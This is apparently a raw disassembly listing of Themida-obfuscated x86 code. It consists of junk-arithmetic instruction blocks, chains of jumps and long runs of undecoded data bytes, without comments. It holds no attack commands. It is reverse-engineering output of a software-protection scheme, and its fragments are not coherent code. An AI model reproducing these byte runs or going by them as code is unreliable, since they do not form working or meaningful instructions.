aIHo4		db '\‰$$h®4',0
		align 2
		dw 489h
		dd 4B824h, 6C810000h, 1B770424h, 440176AEh, 44810424h
		dd 1B770424h, 0E95876AEh, 0FFFFC5C0h, 80B0C380h, 0C300B4C3h
		dd 0E9B4EB80h, 0FFFFFB60h
; ---------------------------------------------------------------------------

loc_5497E4:				; CODE XREF: Themida_:0054B5BDj
		jmp	loc_545D94
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0EFh
		dd 811F2173h, 1E6098C1h, 0BEE98110h, 319A4D50h,	0C02D59CAh
		dd 0E91E0A4Dh, 6A68h, 0B08E953h, 0BD550000h, 4,	335DEE29h
		dd 34312434h, 1ACBE924h, 0C5810000h, 4,	6A84E9h, 5EF20100h
		dd 6804C283h, 6EF1h, 0FF241489h, 0FF042474h, 0E92434h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549847:				; CODE XREF: Themida_:0054F929j
		or	edx, eax
		shl	edx, 1
		push	eax
		mov	eax, 69FD4351h
		add	eax, 397656C3h
		sub	eax, 0A3739A13h
		push	ecx
		push	eax
		push	3218167Bh
		pop	eax
		sub	eax, 50A42703h
		sub	eax, 0E173EF54h
		push	eax
		add	dword ptr [esp], 7C1259Bh
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 7C1259Bh
		pop	eax
		add	ecx, 68A1413Bh
		add	ecx, edi
		push	ebx
		mov	ebx, 945420Bh
		jmp	loc_54C0F0
; ---------------------------------------------------------------------------
		dd 2C3E0D68h, 0E7815F11h, 6A5A7AE5h, 33C268h, 24148900h
		dd 13B85055h, 0E912C70Eh, 764Eh, 24048B66h, 81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 8CE9241Ch, 0BD00000Dh, 3B5C0509h
		dd 51B468h, 243C8900h, 0C86B01BFh, 6CE78133h, 0F751647Fh
		dd 51EFD1DFh, 9827DEB9h, 0D1C0E920h, 0CA89FFFFh, 592434FFh
		dd 34156856h, 24890000h, 24048324h, 0E9575E04h,	0FFFFEE77h
		dd 32A1C681h, 0EE8126E9h, 6D521D6Fh, 81241C8Bh,	4C4h, 4C68300h
		dd 2474FF56h, 4DA5E904h, 0C7810000h, 4,	8704C783h, 875C243Ch
		dd 248B2434h, 150DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54994E:				; CODE XREF: Themida_:0054F45Bj
		push	esp
		jmp	loc_54AD01
; ---------------------------------------------------------------------------
		dd 4C681h, 0BB530000h, 4, 5108E9h, 5756AD00h, 0A409E68h
		dd 8176E922h, 685C0000h, 24D6h,	0BE243489h, 7AB45CA9h
		dd 76E7E9h, 6D83BF00h, 0FB294E47h, 56F3295Fh, 0E9534EBEh
		dd 54D6E964h, 0F3000000h, 77E9505Ah
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5499A3:				; CODE XREF: Themida_:005511B3j
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 476C4976h
		push	4358h
		mov	[esp], esi
		mov	esi, 4E27368Bh
		or	ebx, esi
		jmp	loc_5465D2
; ---------------------------------------------------------------------------
		dd 372CB951h, 0C7E90AC7h, 1FFFFEBh, 24048BC7h, 5704C483h
		dd 42474FFh, 83243C8Bh,	48F04C4h, 24248B24h, 8B2434FFh
		dd 89502404h, 405E0h, 0CEE90000h, 5000007Bh, 0ECD0D6B4h
		dd 214E9h, 24348900h, 0FFF262E9h, 5FFE31FFh, 4A68EB81h
		dd 6EE9553Ch, 80000036h, 0F0005EF6h, 7E2C5A66h,	7E04F800h
		dd 805B592Ch, 0C38097EBh, 80C328E7h, 0EC83E7EBh, 24048904h
		dd 0B7B05053h, 0C788B704h, 3096B058h, 241C8BF8h, 0F604C483h
		dd 2CC0FED0h, 2CD8F682h, 7910E901h, 0B3530000h,	0C568E9A8h
		dd 0C383FFFFh, 52C9E904h, 2BF0000h, 1000000h, 0E9515FF9h
		dd 0FFFFF462h, 4C481h, 0D8300000h, 81241C8Bh, 4C4h, 478EE900h
		dd 0C0830000h, 24048704h, 761DE95Ch, 0E8BB0000h, 0E92AE458h
		dd 7FB2h, 766968h, 24348900h, 0E904EC83h, 1D80h, 89242C89h
		dd 5ABF68E5h, 14890000h, 81685124h, 59557034h, 0F4DCE981h
		dd 5A51FBA3h, 1EA8159h,	81000000h, 180CBAF2h, 1AEA811Ch
		dd 145D433h, 0BA525AD5h, 2, 2415ED81h, 0C5815A0Ah, 26044156h
		dd 0ED81D501h, 26044156h, 2415C581h, 0E1E95A0Ah, 8900006Ah
		dd 5BB241Ch, 14B9B23h, 0D1015BD9h, 2305E981h, 148B4B9Bh
		dd 0CFE95724h, 0B9000006h, 4, 0E959CD01h, 82D8h
; ---------------------------------------------------------------------------

loc_549B40:				; CODE XREF: Themida_:0054D980j
		and	eax, esi
		jmp	loc_54ADC1
; ---------------------------------------------------------------------------
		db 0F7h
		dd 94F381D3h, 81549152h, 0FC58FAEBh, 0E9D92106h, 7FEh
; ---------------------------------------------------------------------------

loc_549B5C:				; CODE XREF: Themida_:00547520j
		push	7ADD51D2h
		jmp	loc_54767E
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 0F581D587h, 36DD097Ch, 0FD81ED81h, 4EE94B2Ch, 81000019h
		dd 2C0638C3h, 81D3014Dh, 2C0638EBh, 24148B4Dh, 4C481h
		dd 68510000h, 3707h, 0BE243489h, 49F6523h, 348BF189h, 4C48324h
		dd 3156E9h, 0C8B6600h, 50106824h, 34890000h, 74AC6824h
		dd 0B6E90000h, 81000020h, 4C6h,	74FF5600h, 8F5E0424h, 0C15C2404h
		dd 0C83118E8h, 297F68h,	24048900h, 0F7243C87h, 6EC568D7h
		dd 0F0E90000h, 5300000Fh, 0BBh,	0A4C38100h, 112EE5Eh, 0A4EB81C3h
		dd 8812EE5Eh, 8B585B0Bh, 0C481240Ch, 4,	0FFC17FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549C15:				; CODE XREF: Themida_:005500F1j
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 7
		jmp	loc_54C67E
; ---------------------------------------------------------------------------
		db 0FEh, 0C4h, 80h
aGs		db 'ìƒé)',0Ah,0
		dw 5000h
		dd 0A252C068h, 0F750581Dh, 0ADE9241Ch, 8BFFFFE3h, 5457242Ch
		dd 4BB535Fh, 1000000h, 2434FFDFh, 4C4815Bh, 83000000h
		dd 3C3304C7h, 243C3124h, 5C243C33h, 4C581h, 0C5810000h
		dd 2, 2474FF55h, 48F5D04h, 35E95C24h, 89000074h, 0EB8159CDh
		dd 5790313h, 1A61E9h, 81C20100h, 3168EFEAh, 1A84E946h
		dd 4050000h, 0E9000000h, 0FFFFF110h, 0E924048Fh, 50DBh
		dd 81D831ADh, 4ECh, 24148900h, 0FFDD1BE9h, 0B7535BFFh
		dd 59EF80EFh, 805BFC08h, 0F480A3F4h, 312BE992h,	8B660000h
		dd 6A68240Ch, 8900003Bh, 0E0892404h, 405h, 3896E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549CE6:				; CODE XREF: Themida_:00546AD9j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4FE06C52h
		add	ecx, 1782059Bh
		xor	ecx, 76944ADEh
		jmp	loc_54DC07
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	edi
		jmp	loc_550843
; ---------------------------------------------------------------------------
		db 0BEh
		dd 19710491h, 41A968h, 24148900h, 0EC2896BAh, 2454011Eh
		dd 5BF4E908h, 69B80000h, 933B3C35h, 0C193D3F7h,	582507E8h
		dd 5750939h, 46036FADh,	0DB5C5D35h, 58C78900h, 4EC8350h
		dd 0E9242C89h, 5225h, 27EDE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549D6A:				; CODE XREF: Themida_:00547622j
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, 5FAA4B62h
		add	ecx, ebp
		sub	ecx, 5FAA4B62h
		pop	ebp
		jmp	loc_54D897
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 2, 2474FF51h, 65E95904h, 81000034h, 4ECh, 24148900h
		dd 0C281E289h, 4, 50DFE9h, 6E2C100h, 74B968h, 5725E900h
		dd 48D0000h, 58545087h,	0FFFED1E9h, 4CE8BDFFh, 0D5F75A2Bh
		dd 1BF8ED81h, 0C6E9073Fh, 50000057h, 0E168E089h, 8900004Eh
		dd 0B1BB241Ch, 0E921D615h, 13A2h, 8102EAC1h, 767D27EAh
		dd 0B3EA811Ah, 8107E209h, 608E6EEAh, 5AD501DFh,	0C83DE94Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549E0A:				; CODE XREF: Themida_:00551662j
		pop	edi
		push	ecx
		mov	ecx, 5F1A69CAh
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	eax, 586B48D9h
		add	eax, 0AA94D6A8h
		mov	edx, eax
		pop	eax

loc_549E2A:				; CODE XREF: Themida_:00547D5Dj
					; Themida_:00548312j
		push	dword ptr [edi+24h]
		push	7672h
		mov	[esp], ebx
		mov	ebx, 7FC324EBh
		inc	ebx
		sub	ebx, 7249AA05h
		xor	[esp+4], ebx
		jmp	loc_54FF2F
; ---------------------------------------------------------------------------
		dw 8158h
		dd 2E6D5AC7h, 81D70122h, 2E6D5AEFh, 2434FF22h, 3BC8E95Ah
		dd 0C3830000h, 241C8704h, 8124248Bh, 4ECh, 62E0E900h, 2D580000h
		dd 13754AF7h, 168EE9h, 243C3300h, 6624248Bh, 9C2404FFh
		dd 0FFBF03E9h, 0DCBA52FFh, 8139B821h, 914FA4E2h, 30CA816Ch
		dd 81029C0Ah, 0A31910F2h, 0D2F74238h, 12AAC281h, 0D589123Fh
		dd 2553E9h, 65162D00h, 0D80172B5h, 0B5651605h, 0C3315B72h
		dd 7AAAE9h, 0E9EE3100h,	0FFFFCD2Ah, 4A81EE81h, 0F001669Fh
		dd 2C0835Eh, 31240433h,	4332404h, 24248B24h, 24048B66h
		dd 8904EC83h, 0E2892414h, 0F48DE956h, 0F65CFFFFh, 0B60F66F1h
		dd 8FE956CCh, 8100007Ah, 0B56F78CEh, 6B4EE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549F16:				; CODE XREF: Themida_:00550B42j
		push	esp
		jmp	loc_54AE38
; ---------------------------------------------------------------------------

loc_549F1C:				; CODE XREF: Themida_:0055161Cj
		dec	bh
		neg	bh
		shl	bh, 5
		jmp	loc_550BD6
; ---------------------------------------------------------------------------
aS_7		db '\éµ|',0
		align 2
		dw 8157h
		dd 4ECh, 24248900h, 0FFEBDAE9h,	5A2A05FFh, 9C051CD9h, 5B759373h
		dd 0C281C331h, 51BB3A80h, 153BE56h, 0EA815AE2h,	0DCB15F6h
		dd 0C281F201h, 0DCB15F6h, 7FAE9h
		db 0
; ---------------------------------------------------------------------------

loc_549F69:				; CODE XREF: Themida_:0055113Dj
		push	3B841E93h
		jmp	loc_548E9C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 0FD1h, 0C181E189h, 4, 4C181h, 0C870000h
		dd 24248B24h, 56E78957h, 2942E9h, 24343300h, 8B24248Bh
		dd 0E9532404h, 0FFFFCCB0h, 15EF101h, 0C28159CAh, 3F1B2F42h
		dd 5790E9h, 2834B100h, 2343E9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549FC2:				; CODE XREF: Themida_:0054CD1Fj
		not	ebx
		and	ebx, 78D20794h
		add	ebx, 0CA2C51F1h
		add	edx, ebx
		jmp	loc_5472B9
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 43F5E9h,	243C8B00h, 4C481h, 0C3810000h
		dd 18DB4CABh, 9DE930FFh, 0B2FFFFBDh, 5AD588F7h,	0E904EDC0h
		dd 6351h
; ---------------------------------------------------------------------------

loc_54A004:				; CODE XREF: Themida_:0054E13Dj
		add	dword ptr [esp], 346B4947h
		jmp	loc_54E43B
; ---------------------------------------------------------------------------
		dd 0F71899BDh, 0F6A8E964h, 0E889FFFFh, 5D2434FFh, 81E78957h
		dd 4C7h, 4C78100h, 81000000h, 4ECh, 243C8900h, 1DC1E9h
		dd 67B85000h, 487CB04Dh, 89E9D0F7h, 81FFFFDEh, 5E4A6CE9h
		dd 41C98179h, 813F6B10h, 7BAEFDF1h, 2C8151E2h, 7F173B24h
		dd 24348B6Dh, 0E904C483h, 2692h, 4247C31h, 0F2815A5Fh
		dd 3D683851h, 0FFFDC9E9h, 815F54FFh, 4C7h, 2BD5500h, 29000000h
		dd 242C8BEFh, 0E904C483h, 3E20h
; ---------------------------------------------------------------------------

loc_54A09C:				; CODE XREF: Themida_:005496BDj
		xor	esi, edx
		pop	edx
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_54B0CA
; ---------------------------------------------------------------------------
		dd offset dword_56EA68
		align 2
		dw 2489h
		dd 24048124h, 4, 0E92434FFh, 260Dh, 408AC681h, 0C601781Ah
		dd 408AEE81h, 0E958781Ah, 0FFFFC0DCh, 0E9242C89h, 5585h
		dd 8704C383h, 0E95C241Ch, 93Dh,	0CE888DB1h, 0E92434FFh
		dd 3B7Bh, 0BA525B54h, 307E6329h, 9CDBC281h, 0D301CF81h
		dd 4EC835Ah, 53240C89h,	1FABD55h, 0EB890298h, 112AE9h
		dd 2434FF00h, 2A51E9h, 4EC8100h, 0E9000000h, 0FFFFE2B2h
		dd 0DD004AB5h, 0E9DD285Bh, 419Ch, 0FDE9D000h, 66000019h
		dd 0E9240C8Bh, 3D84h, 5C240487h, 75B6E9h, 14875900h, 3EC0E924h
		dd 14870000h, 24248B24h, 0E924148Bh, 6CBBh, 24048B66h
		dd 8904EC83h, 88E9242Ch
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A177:				; CODE XREF: Themida_:00548E56j
		push	ebp
		mov	ebp, 396A1234h
		push	eax
		push	ebx
		mov	ebx, 7B5161B4h
		mov	eax, ebx
		pop	ebx
		inc	eax
		jmp	loc_54630F
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 1DC1E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A195:				; CODE XREF: Themida_:00546994j
					; Themida_:0054ECCEj ...
		push	dword ptr [esp]
		jmp	loc_547603
; ---------------------------------------------------------------------------
		db 55h,	5Eh, 5Dh
		dd 0E902E6C1h, 2AF6h
; ---------------------------------------------------------------------------

loc_54A1A8:				; CODE XREF: Themida_:0054D22Fj
		sub	cl, 44h
		inc	cl
		dec	cl
		shl	cl, 6
		jmp	loc_54E1B2
; ---------------------------------------------------------------------------
		db 54h
		dd 4C5815Dh, 83000000h,	0F1E904EDh, 0BA00002Ch,	1A8355F8h
		dd 0DB1B850h, 9EBB0779h, 314B1B0Ah, 24048BC3h, 4C481h
		dd 0D3010000h, 4F63E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A1EA:				; CODE XREF: Themida_:0054D2F0j
		add	ebx, 0E8F93A98h
		jmp	loc_54DD0E
; ---------------------------------------------------------------------------
		db 1, 0F7h, 0E9h
		dd 0FFFFEB20h, 5CDCE959h, 5F540000h, 4C781h, 0C7830000h
		dd 243C8704h, 0E924248Bh, 28C7h, 5C240487h, 54243C89h
		dd 644AE9h, 48F5C00h, 24248B24h, 2404D366h, 0BB5EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A236:				; CODE XREF: Themida_:0054D906j
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54C468
; ---------------------------------------------------------------------------
		dw 0C0BEh
		dd 0E9772A4Fh, 0CB3h, 0BDE9D301h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A267:				; CODE XREF: Themida_:0054B0E1j
		pop	edi
		jmp	loc_5490B8
; ---------------------------------------------------------------------------

loc_54A26D:				; CODE XREF: Themida_:005502EDj
		mov	ebx, 65564196h
		sub	ebp, ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_548A90
; ---------------------------------------------------------------------------
		dd 0F0E7805Ah, 0E7C0C7FEh, 0B0506605h, 66C72877h, 8124048Bh
		dd 2C4h, 8BF80000h, 0C481241Ch,	4, 781FE952h, 0EC830000h
		dd 242C8904h, 915F8FBDh, 9FBA524Dh, 816E2363h, 4A0C39F2h
		dd 30BB534Bh, 3135B82Eh, 0D5015BDAh, 8324148Bh,	0C58104C4h
		dd 577C0E56h, 231DE9h, 4EC8100h, 89000000h, 0EC81242Ch
		dd 4, 0E9242489h, 0FFFFDD64h, 83241C8Bh, 515504C4h, 4B9h
		dd 0E9CD8900h, 6F09h
; ---------------------------------------------------------------------------

loc_54A308:				; CODE XREF: Themida_:005497A4j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54C16E
; ---------------------------------------------------------------------------
		dw 8B3h
		dd 0DC28C6B4h, 0FFF998E9h, 0C8E95EFFh, 5E000000h, 6EDE681h
		dd 31E9396Ch, 0FFFFE5h,	5A572CD0h, 50BB6866h, 240C8966h
		dd 4EC81h, 14890000h, 99E95124h, 81FFFFFDh, 1B2E70C2h
		dd 50BE972h, 1C8B0000h,	4C48124h, 0C1000000h, 0F18107E1h
		dd 62D65126h, 7F4C181h,	0C829F4DBh, 24348B59h, 3104C483h
		dd 148B66C3h, 0ECFEE924h, 8B66FFFFh, 0EC812404h, 4, 89241C89h
		dd 0B6BE56E3h, 56424D47h, 0E9240CFFh, 0FFFFFF83h, 98468925h
		dd 0E9E0D106h, 7B20h, 4EC81h, 14890000h, 0E95CB224h, 0FFFFDDE4h
		dd 4BD55h, 0B2E90000h, 66000009h, 6671CF68h, 66241489h
		dd 78E99C50h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A3DB:				; CODE XREF: Themida_:0054E23Aj
		mov	eax, 97B54300h
		xor	edx, eax
		jmp	loc_54AA16
; ---------------------------------------------------------------------------
		db 31h
		dd 92E9243Ch, 81FFFFFAh, 516AB0C3h, 8AE95776h, 8BFFFFF5h
		dd 8957240Ch, 22BB53E7h, 8167FB13h, 3649A3EBh, 8DE38144h
		dd 81673725h, 0C158DFC3h, 18C38107h, 81D53AA6h,	79509FEFh
		dd 81DF0167h, 79509FC7h, 0EC835B67h, 684BE904h,	24890000h
		dd 24048124h, 4, 3E01E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A445:				; CODE XREF: Themida_:0054683Cj
		add	al, bl
		add	al, 38h
		pop	ebx
		push	small 38D4h
		jmp	loc_54D225
; ---------------------------------------------------------------------------
		db 0BDh
		dd 56530D9Dh, 3226ED81h, 0E5C17D72h, 14BA5204h,	0E97FEA0Dh
		dd 0FFFFF980h, 575EF301h, 4BFh,	4EC38100h, 0E944BF40h
		dd 4036h, 0E95FF829h, 24Eh
; ---------------------------------------------------------------------------

loc_54A488:				; CODE XREF: Themida_:00551526j
		add	edi, 425B675Fh
		push	0
		sub	[esp], edi
		jmp	loc_54DEF7
; ---------------------------------------------------------------------------
		db 81h
		dd 0A284FAF6h, 8BF20144h, 0C4832434h, 4EC8304h,	0FF241489h
		dd 0FF042474h, 0CAE92434h, 5E00001Ch, 5508E9C1h, 206AF3BDh
		dd 5DE93161h, 352BF181h, 0E98116C7h, 77B67AC0h,	0F7CBF57h
		dd 0C7817AB3h, 4C064219h, 0BD7BC781h, 0F8015956h, 2DC8015Fh
		dd 20100F10h, 0B8BCE959h, 5E54FFFFh, 4C681h, 12E90000h
		dd 66FFFFCDh, 6624048Fh, 6618BB68h, 66243C89h, 660002BFh
		dd 66510468h, 0E9241C89h, 0FFFFBBDBh, 3936B5BDh, 5DE93128h
		dd 5D5CBE56h, 814639DDh, 9B1450F6h, 0A0E9466Eh,	21000008h
		dd 12D5BD8h, 0D000000h,	621C65A1h, 0FFFE57E9h, 4BEFFh
		dd 0B2680000h, 89000019h, 5E592434h, 8759CA01h,	248B2414h
		dd 83E1F724h, 3C8904ECh, 555F5424h, 0FFD9FEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A575:				; CODE XREF: Themida_:005472CEj
		add	edx, 32F61A24h
		add	eax, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_54BF47
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 2C781h, 0FF570000h, 8B042474h, 0C481243Ch, 4, 0D10E9h
		dd 8EFC100h, 21DF781h, 0F7571D1Dh, 57E92414h, 0FF000029h
		dd 0BA523877h, 521D5DA9h, 4245401h, 0BE56595Ah,	521D5DA9h
		dd 4D6F6855h, 4890000h,	4BDAB824h, 8150460Ah, 4E3C2434h
		dd 815D3000h, 4E3CF5h, 0C1815830h, 104A6EC2h, 175EE9h
		db 0
; ---------------------------------------------------------------------------

loc_54A5FD:				; CODE XREF: Themida_:00547ECFj
		xchg	ebx, [esp]
		pop	esp
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		not	ebx
		sub	ebx, 64E1475Dh
		xor	ebx, 1EF9323Ch
		not	ebx
		xor	ebx, 0EC74247Dh
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5469FB
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4F93FABh
		or	eax, 476847FDh
		sub	eax, 47F97FFBh
		add	ebp, eax
		pop	eax
		push	esi
		mov	esi, 4
		jmp	loc_54FEF6
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 89h
		dd 0E959E800h, 0FFFFDF62h, 8B58E300h, 39E92414h, 5C000057h
		dd 54243489h, 0A5E9555Eh, 52FFFFF9h, 0A05047BAh, 2DF2815Dh
		dd 0F77FA204h, 54B1E9DAh, 0E9810000h, 4B2966EBh, 3656C181h
		dd 0C18161C5h, 1C494AF6h, 0DFE9575Fh, 89FFFFF3h, 0D2E9243Ch
		dd 8A000058h, 0E902247Ch, 5788h, 0E95FFD01h, 0C21h, 83242489h
		dd 5D042404h, 7B5EE9h, 6E766800h, 3C890000h, 6FE95024h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A6CB:				; CODE XREF: Themida_:0054FCA5j
		push	edx
		mov	edx, 45B0333Dh
		jmp	loc_54F578
; ---------------------------------------------------------------------------
		dw 0C801h
aUss		db 'Ué‘+',0
		align 2
		dw 0F380h
		dd 52CBFE30h, 0D3009FB2h, 1179E9h, 4EC8100h, 89000000h
		dd 23E92434h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A6FB:				; CODE XREF: Themida_:00549582j
		shr	ah, 1
		jmp	loc_547F66
; ---------------------------------------------------------------------------

loc_54A702:				; CODE XREF: Themida_:00545FC0j
		push	1
		mov	ebp, [esp]
		jmp	loc_54C6AE
; ---------------------------------------------------------------------------
		db 81h
		dd 9269DAEEh, 53C60179h, 9269DABBh, 5BDE0179h, 4EC81h
		dd 0C890000h, 0D7BB5324h, 4340891Eh, 310FE9h, 241C8900h
		dd 26240481h, 0E9385935h, 0FFFFE8D6h, 0BDE9C6FEh, 81000058h
		dd 4ECh, 0ED9FE900h, 0D66FFFFh,	2D660719h, 7CE9E35Ch, 5EFFFFEDh
		dd 294BF57h, 0D7F72321h, 8102E7C1h, 86661BC7h, 5FFA01C3h
		dd 0EA81C201h, 37025BC7h, 153EA81h, 0EC815AE2h,	4, 51243489h
		dd 7FC7BE56h, 0C68163D9h, 0EDE1BAB9h, 895EF189h, 0F22959CEh
		dd 72EE9h, 0E9C5FE00h, 0FFFFBFF4h, 4EC81h, 34890000h, 3F7BBE24h
		dd 0E68108ACh, 715F6D74h, 0CE81D6F7h, 668A1030h, 0F681DEF7h
		dd 42D45h, 0FFFC93E9h, 42DFFh, 4870000h, 24248B24h, 8B240489h
		dd 8956241Ch, 34B850E6h, 555ED066h, 2611E9h, 7E366800h
		dd 1C890000h, 3D685124h, 0E90B3D2Fh, 3702h, 7155B850h
		dd 0C2812231h, 493A3716h, 0A9E9C201h, 53FFFFCEh, 3362E9h
		dd 5D02900h, 6F73403Ah,	0E9D8295Ah, 0FFFFF709h,	6579E953h
		dd 34FF0000h, 240C8B24h, 4C481h, 0EC810000h, 4,	89241C89h
		dd 4C381E3h, 81000000h,	4ECh, 242C8900h, 0FFF62CE9h, 0D1295EFFh
		dd 1CD7E9h, 51F80100h, 65F1BA52h, 0D1895F32h, 3065E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A87E:				; CODE XREF: Themida_:005474CBj
		mov	[esp], ebx
		push	eax
		jmp	loc_5514F1
; ---------------------------------------------------------------------------
		db 83h
		dd 9F6804C4h, 89000031h, 14F7241Ch, 0BD555B24h,	741227CCh
		dd 0FFD3C8E9h, 2434FFFFh, 4EC8358h, 3DA9E9h, 0A0C38100h
		dd 16B4AC0h, 241C8BD8h,	8304C483h, 348904ECh, 84B95124h
		dd 0E9001145h, 0FFFFF77Fh, 9D0A55B8h, 0ECA352Bh, 9B353A8Dh
		dd 1111004h, 0B85058C3h, 4, 97E9C301h, 8900002Eh, 4BF243Ch
		dd 1000000h, 31FFE9F8h,	0E9540000h, 0FFFFC901h,	0C03C181h
		dd 0F90143AAh, 0C03E981h, 0BA5243AAh, 12FE4699h, 8B5AD129h
		dd 0EC835901h, 243C8904h, 1BFh,	0E823E900h, 0BA52FFFFh
		dd 24691856h, 2682E9h, 420BBB00h, 0E3815603h, 3E09245Dh
		dd 0F381DBF7h, 582A1CCEh, 81D3F74Bh, 43811F3h, 5BD98902h
		dd 5552D9F7h, 0E820C9BDh, 0EDC14520h, 0C6ED8106h, 89C84D91h
		dd 0D1215DEAh, 0E5E1815Ah, 0F72C6D4Dh, 7CBB53D1h, 21438A54h
		dd 0F1815BD9h, 7D0C6352h, 0FFBFD4E9h, 5DEE01FFh, 5108E952h
		dd 34FF0000h, 18AB6887h, 9DE90000h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A99F:				; CODE XREF: Themida_:00550350j
		add	esp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_54F956
; ---------------------------------------------------------------------------
		db 88h
		dd 0A4E95AD7h, 1000010h, 6CE952C6h, 5A000041h, 8304C483h
		dd 2C8904ECh, 525D5424h, 4BAh, 0F9ED8100h, 17DE904h, 0F9C581D5h
		dd 0E97DE904h, 0FFFFE654h, 0FF0EE958h, 0D528FFFFh, 0C5805A66h
		dd 0E9DDF6DCh, 0FFFFB3AAh, 0D5E9C331h, 81000023h, 4C1h
		dd 240C8700h, 0F604E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AA16:				; CODE XREF: Themida_:0054A3E2j
		pop	eax
		and	eax, edx
		pop	edx
		jmp	loc_551F32
; ---------------------------------------------------------------------------
aXsjw		db 'Xé¦W',0
		dd 0B36AE900h, 0C381FFFFh, 0B60F84A5h, 1C8BDD01h, 4C48324h
		dd 31242C33h, 2C33242Ch, 0C3305C24h, 4EC81h, 0A8E90000h
		dd 31FFFFD4h, 4332404h,	24248B24h, 9C240430h, 0FFB333E9h
		dd 0E9D2F7FFh, 4329h, 0E9240431h, 0FFFFE89Ah
; ---------------------------------------------------------------------------

loc_54AA70:				; CODE XREF: Themida_:00548E37j
		mov	ebx, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_547EC6
; ---------------------------------------------------------------------------
aExzwsP		db '¾ex‡Wé',0Bh,'p',0
		align 2
		dw 34FFh
		dd 2434FF24h, 4C48159h,	0E9000000h, 423Bh, 6664A3B8h, 5DFD057Ch
		dd 0E940474Fh, 0FFFFEB11h
; ---------------------------------------------------------------------------

loc_54AABC:				; CODE XREF: Themida_:005517D9j
		push	edx
		push	eax
		push	0CBD1B5Bh
		pop	eax
		sub	eax, 0F57DFD64h
		mov	edx, eax
		pop	eax
		push	ebx
		mov	ebx, 47BF7F1Dh
		jmp	loc_54CD13
; ---------------------------------------------------------------------------
		db 56h
		dd 0FFEA52E9h, 4BD55FFh, 81000000h, 713B84C6h, 81EE0156h
		dd 713B84EEh, 58BCE956h, 9B80000h, 2D132530h, 1, 2C88BF57h
		dd 0F7811F4Dh, 1BFC1780h, 61EF8147h, 0F7268B30h, 47CF81DFh
		dd 8109C21Ch, 0C71797C7h, 0B4E94FECh, 81FFFFD6h, 6A39C5h
		dd 2D8DE959h, 0C3810000h, 1E1B17D7h, 0EB81FB01h, 1E1B17D7h
		dd 1C335D5Fh, 5275E924h, 0C7810000h, 62244F05h,	8147D7F7h
		dd 0DBD748F7h, 5FFD01CFh, 0FFCA4EE9h, 3EFC1FFh,	3AB9E9h
		db 0
; ---------------------------------------------------------------------------

loc_54AB69:				; CODE XREF: Themida_:0054799Fj
		pop	edx
		add	ebp, eax
		pop	eax
		jmp	loc_55096F
; ---------------------------------------------------------------------------
		dw 3489h
		dd 38685524h, 5D546577h, 4719F581h, 0E5816BB2h,	6735F91h
		dd 1005F581h, 0EE890653h, 5EF0015Dh, 8704C083h,	95C2404h
		dd 81E2D1C2h, 4ECh, 242C8900h, 0E904EC83h, 73D8h, 240C8B66h
		dd 0E2895253h, 4C281h, 0EA830000h, 24148704h, 1EA5E9h
		dd 81E68900h, 4C6h, 2C68100h, 87000000h, 59E92434h, 8900004Ch
